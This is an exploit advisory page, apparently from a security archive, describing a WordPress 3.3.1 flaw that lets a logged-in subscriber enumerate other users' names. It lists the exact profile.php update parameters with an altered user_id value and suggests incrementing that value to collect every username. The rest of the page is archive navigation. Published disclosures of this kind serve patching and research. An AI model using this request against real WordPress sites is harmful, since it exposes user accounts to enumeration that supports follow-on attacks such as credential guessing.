exploit the possibilities

WordPress 3.3.1 Parameter Pollution

WordPress 3.3.1 Parameter Pollution
Posted Mar 11, 2012
Authored by HauntIT

WordPress version 3.3.1 suffers from a parameter pollution vulnerability.

tags | exploit, remote, sql injection
MD5 | 81d2c9cd8cb509be8487313310ab0601

WordPress 3.3.1 Parameter Pollution

Change Mirror Download
# TITLE ....... # Wordpress 3.3.1 post-auth SQL Injection ............. #
# DATE ........ # 16.02.2012 .......................................... #
# AUTOHR ...... # http://hauntit.blogspot.com ......................... #
# SOFT LINK ... # http://wordpress.org ................................ #
# VERSION ..... # 1.0.0 ............................................... #
# TESTED ON ... # LAMP ................................................ #
# ..................................................................... #

# 1. What is this?
# 2. What is the type of vulnerability?
# 3. Where is bug :)
# 4. More...

#............................................#
# 1. What is this?
This is very nice CMS, You should try it! ;)

# 2. What is the type of vulnerability?
This is kind of wierd SQL Injection (or parameter manipulation for 'priviledge escalation').
For user who has admin access there is functionality like "show all users in webapp".
For normal user (registered, with "role" rights), there isn't functionality like this.
But using Wordpress in way that it is not designed to, we can get all user-names in
latest(/installed) WordPress (3.3.1).

# 3. Where is bug :)
To trigger this vulnerability, we must log in as a normal (registered/role rights) user.
You should know that this descriptions is covering getting only 1 username.
To automate this process to enumerate all users, write Your own PoC. ;)

If You're logged in as a normal user ("subscriber"), go to:
wordpress/wp-admin/profile.php

Now You should set parameters like this:
?_wpnonce=&
_wp_http_referer=&
from=profile&
checkuser_id=&
admin_color=&
admin_bar_front=&
first_name=last_name=&
nickname=&
display_name=&
email=tester@tester.com&
url=&
aim=&
yim=&
jabber=&
description=&
pass1=&
pass2=&
action=update&
user_id=3

Vulnerable parameter is (the last) "user_id".
When we set this parameter value to other integer value, we can get names of other users in webapp.
Information about name will back to us in error page (so for automate attacks You should
use something similar to n+1 (for value of user_id parameter).

I wrote similar tool for 3.2.1 version, here it is:
http://hauntit.blogspot.com/2011/09/wordpress-321-user-enumeration.html

Cheers!

# 4. More...

- http://www.wordpress.org
- http://hauntit.blogspot.com
- http://www.google.com
- http://portswigger.net

# Best regards
#

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

September 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    1 Files
  • 2
    Sep 2nd
    38 Files
  • 3
    Sep 3rd
    30 Files
  • 4
    Sep 4th
    15 Files
  • 5
    Sep 5th
    12 Files
  • 6
    Sep 6th
    17 Files
  • 7
    Sep 7th
    3 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    24 Files
  • 10
    Sep 10th
    22 Files
  • 11
    Sep 11th
    22 Files
  • 12
    Sep 12th
    15 Files
  • 13
    Sep 13th
    5 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close